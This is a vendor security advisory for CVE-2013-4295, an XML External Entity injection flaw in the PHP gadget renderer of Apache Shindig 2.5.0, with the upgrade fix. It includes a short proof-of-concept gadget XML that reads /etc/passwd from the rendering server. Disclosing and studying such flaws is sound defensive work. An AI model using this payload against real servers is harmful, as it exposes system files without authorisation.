CVE-2013-4295: XXE vulnerability In Apache Shindig 2.5.0 (PHP)

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected: Apache Shindig PHP 2.5.0

Description: The gadget renderer in the PHP version of Apache Shindig
is subject to an XML External Entity (XXE) Injection attack.  The
vulnerability allows a malicious gadget author to construct paths to
content on the gadget rendering server which in turn will display the
content in the gadget iframe.

Mitigation: 2.5.0 users should upgrade to 2.5.0-update1.

Example:  The following gadget XML demonstrates the issue.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Module [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]>
<ModulePrefs title="Test Application">
<Require feature="opensocial-0.9" />
<Content type="html">
&passwd; hello

After rendering this gadget you will see the content of /etc/passwd in
the gadget iframe.
